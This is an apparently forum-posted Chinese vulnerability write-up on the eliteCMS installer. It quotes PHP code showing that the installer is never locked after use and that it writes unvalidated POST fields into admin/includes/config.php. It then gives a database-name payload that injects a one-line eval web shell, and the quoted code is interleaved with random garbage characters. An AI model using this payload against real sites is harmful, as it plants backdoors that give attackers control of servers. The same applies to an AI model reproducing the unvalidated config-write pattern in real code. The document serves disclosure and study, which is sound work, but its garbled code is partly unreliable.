eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
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...
elseif ($_GET['step'] == "4") {
% {3 e/ F! c( d    $file = "../admin/includes/config.php";
1 u9 F. B- w9 K8 Y# m    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
. q9 {4 T+ T( T% H; [# v! A" l7 D...略...
    $write .= "*\n";
    $write .= "*/\n";
, r0 R1 U: L  i    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
0 U# R. _) i) S( q0 F& S# [9 G    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
1 `* n6 s: I0 f/ W: k9 C, @    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
$ j- ^  }4 G' P    $write .= "        \n";
8 p0 V# n6 [$ R& k5 K% W    $write .= "} \n";
* F7 X7 p% [+ ]+ ]& H' p( Q8 R    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
2 f" {; Q+ h" g0 k% h    $write .= "        die(\"Database select failed\" .mysql_error());\n";
3 n7 J% e/ F' V3 a9 t2 H2 O    $write .= "        \n";
    $write .= "} \n";
4 S5 }& i* L3 [9 M9 a  E- C& q    $write .= "?>\n";

    $writer = fopen($file, 'w');
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在看代码：
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$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
/ T2 Q( y8 u2 \- @: D9 N9 `" `" y$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
3 o( A8 H5 s1 m  a$_SESSION['DB_USER'] = $_POST['DB_USER'];
0 \' w/ [/ X. O5 ~3 l) ?/ `$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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$ X, \6 T) W2 O% k, n取值未作任何验证
7 s5 A9 t" i- [5 \! }如果将数据库名POST数据：

+ C, `! ?6 O4 a; G"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php